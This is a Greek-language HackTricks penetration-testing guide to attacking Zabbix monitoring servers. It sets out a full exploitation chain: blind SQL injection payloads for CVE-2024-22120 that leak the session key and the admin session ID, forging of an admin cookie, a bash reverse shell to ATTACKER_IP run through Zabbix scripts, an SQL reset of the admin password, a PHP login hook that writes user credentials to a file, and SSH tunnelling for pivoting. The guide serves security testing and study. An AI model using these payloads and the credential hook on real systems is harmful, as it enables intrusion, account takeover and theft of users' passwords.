Ασφάλεια Zabbix

Reading time: 7 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Επισκόπηση

Το Zabbix είναι μια πλατφόρμα παρακολούθησης που εκθέτει ένα web UI (τυπικά πίσω από Apache/Nginx) και ένα server component που επίσης μιλάει το Zabbix protocol στο TCP/10051 (server/trapper) και agent στο TCP/10050. Κατά τη διάρκεια engagements μπορεί να συναντήσετε:

  • Web UI: HTTP(S) virtual host όπως zabbix.example.tld
  • Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent port: 10050/tcp

Χρήσιμη μορφή cookie: zbx_session είναι Base64 ενός συμπαγούς JSON αντικειμένου που περιλαμβάνει τουλάχιστον sessionid, serverCheckResult, serverCheckTime και sign. Το sign είναι ένα HMAC του JSON payload.

Οι πρόσφατες εκδόσεις του Zabbix υπολογίζουν το cookie ως εξής:

  • JSON δεδομένων: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Τελικό cookie: Base64(JSON_with_sign)

Αν καταφέρετε να ανακτήσετε το global session_key και ένα έγκυρο admin sessionid, μπορείτε να δημιουργήσετε (forge) ένα έγκυρο Admin cookie εκτός σύνδεσης και να αυθεντικοποιηθείτε στο UI.

CVE-2024-22120 — Time-based blind SQLi στο audit log του Zabbix Server

Επηρεαζόμενες εκδόσεις (όπως τεκμηριώθηκε δημόσια):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Περίληψη ευπάθειας:

  • Όταν μια εκτέλεση Script καταγράφεται στο audit log του Zabbix Server, το πεδίο clientip δεν καθαρίζεται και συγχωνεύεται μέσα σε SQL, επιτρέποντας time-based blind SQLi μέσω του server component.
  • Αυτό μπορεί να εκμεταλλευτεί στέλνοντας ένα crafted "command" request στον Zabbix server στη θύρα 10051 με ένα έγκυρο low-privileged sessionid, ένα hostid που ο χρήστης έχει πρόσβαση, και ένα επιτρεπόμενο scriptid.

Προαπαιτούμενα και συμβουλές ανίχνευσης:

  • sessionid: Από το guest/login στο web UI, αποκωδικοποιήστε το zbx_session (Base64) για να πάρετε το sessionid.
  • hostid: Παρατηρήστε μέσω αιτημάτων του web UI (π.χ., Monitoring → Hosts) ή παρεμποδίστε με proxy· το σύνηθες προεπιλεγμένο είναι 10084.
  • scriptid: Μόνο scripts που επιτρέπονται για τον τρέχοντα ρόλο θα εκτελεστούν· επαληθεύστε κοιτάζοντας το μενού Script/τις AJAX απαντήσεις. Προεπιλογές όπως 1 ή 2 συχνά επιτρέπονται· το 3 μπορεί να απορριφθεί.

Ροή εκμετάλλευσης

  1. Προκαλέστε εισαγωγή audit με SQLi στο clientip
  • Συνδεθείτε στο TCP/10051 και στείλτε ένα Zabbix framed message με request="command" που περιλαμβάνει sid, hostid, scriptid, και clientip ορισμένο σε μια SQL έκφραση που θα συγχωνευτεί από τον server και θα εκτελεστεί.

Ελάχιστα πεδία μηνύματος (JSON body):

json
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

Το πλήρες wire format είναι: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Μπορείτε να χρησιμοποιήσετε pwntools ή τον δικό σας socket κώδικα για να το πλαισιώσετε.

  1. Time-bruteforce secrets via conditional sleep

Χρησιμοποιήστε conditional expressions για να leak hex-encoded secrets έναν χαρακτήρα τη φορά μετρώντας τον χρόνο απόκρισης. Παραδείγματα που έχουν λειτουργήσει στην πράξη:

  • Leak global session_key from config:
sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1) από sessions:
sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Σημειώσεις:

  • charset: 32 hex chars [0-9a-f]
  • Επιλέξτε T_TRUE >> T_FALSE (π.χ. 10 vs 1) και μετρήστε τον πραγματικό χρόνο (wall-clock) ανά προσπάθεια
  • Βεβαιωθείτε ότι το scriptid σας είναι πραγματικά εξουσιοδοτημένο για τον χρήστη· διαφορετικά δεν δημιουργείται γραμμή audit και ο χρονισμός δεν θα λειτουργήσει
  1. Παραποίηση cookie διαχειριστή

Αφού έχετε:

  • session_key: 32-hex από config.session_key
  • admin_sessionid: 32-hex από sessions.sessionid για userid=1

Υπολογίστε:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Ορίστε το cookie zbx_session σε αυτήν την τιμή και κάντε GET /zabbix.php?action=dashboard.view για να επικυρώσετε την πρόσβαση διαχειριστή.

Έτοιμα εργαλεία

  • Public PoC αυτοματοποιεί bruteforce του session_key και admin sessionid, καθώς και το forging του cookie; απαιτεί pwntools και requests.
  • Τυπικές παράμετροι που παρέχονται περιλαμβάνουν: --ip (FQDN της UI), --port 10051, --sid (low-priv), --hostid, και προαιρετικά ένα γνωστό --admin-sid για να παραλειφθεί το bruteforce.

RCE via Script execution (post-Admin)

Με πρόσβαση διαχειριστή στο UI, μπορείτε να εκτελέσετε προ-ορισμένα Scripts σε monitored hosts. Εάν agents/hosts εκτελούν τις εντολές script τοπικά, αυτό οδηγεί σε εκτέλεση κώδικα σε αυτά τα συστήματα (συχνά ως ο χρήστης zabbix σε Linux hosts):

  • Γρήγορος έλεγχος: τρέξτε id για να επιβεβαιώσετε το πλαίσιο χρήστη
  • Παράδειγμα reverse shell:
bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

Αναβάθμιση TTY (Linux):

bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

Αν έχετε πρόσβαση στη DB, μια εναλλακτική στο να πλαστογραφήσετε ένα cookie είναι να επαναφέρετε τον κωδικό του Admin στο τεκμηριωμένο bcrypt για το "zabbix":

sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Καταγραφή διαπιστευτηρίων μέσω login hook (post-exploitation)

Εάν είναι δυνατή η εγγραφή αρχείων στον server του web UI, μπορείτε προσωρινά να προσθέσετε ένα snippet καταγραφής στο /usr/share/zabbix/index.php γύρω από το branch της form-based σύνδεσης για να καταγράψετε τα διαπιστευτήρια:

php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Οι χρήστες αυθεντικοποιούνται κανονικά· διαβάστε /dev/shm/creds.txt στη συνέχεια. Αφαιρέστε το hook όταν τελειώσετε.

Pivoting to internal services

Ακόμα κι αν το shell του service account είναι /usr/sbin/nologin, η προσθήκη μιας εγγραφής SSH authorized_keys και η χρήση των -N -L επιτρέπει local port-forwarding σε υπηρεσίες προσβάσιμες μόνο από το loopback (π.χ., CI/CD στη θύρα 8111):

bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111

Δείτε περισσότερα μοτίβα tunneling στο: Tunneling and Port Forwarding.

Λειτουργικές συμβουλές

  • Επαληθεύστε ότι το scriptid επιτρέπεται για τον τρέχοντα ρόλο (ο guest ενδέχεται να έχει περιορισμένο σύνολο)
  • Η τεχνική timing brute μπορεί να είναι αργή· αποθηκεύστε στην cache το ανακτημένο admin sessionid και επαναχρησιμοποιήστε το
  • Το JSON που αποστέλλεται στο 10051 πρέπει να είναι πλαισιωμένο με το header ZBXD\x01 και ένα little-endian μήκος

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks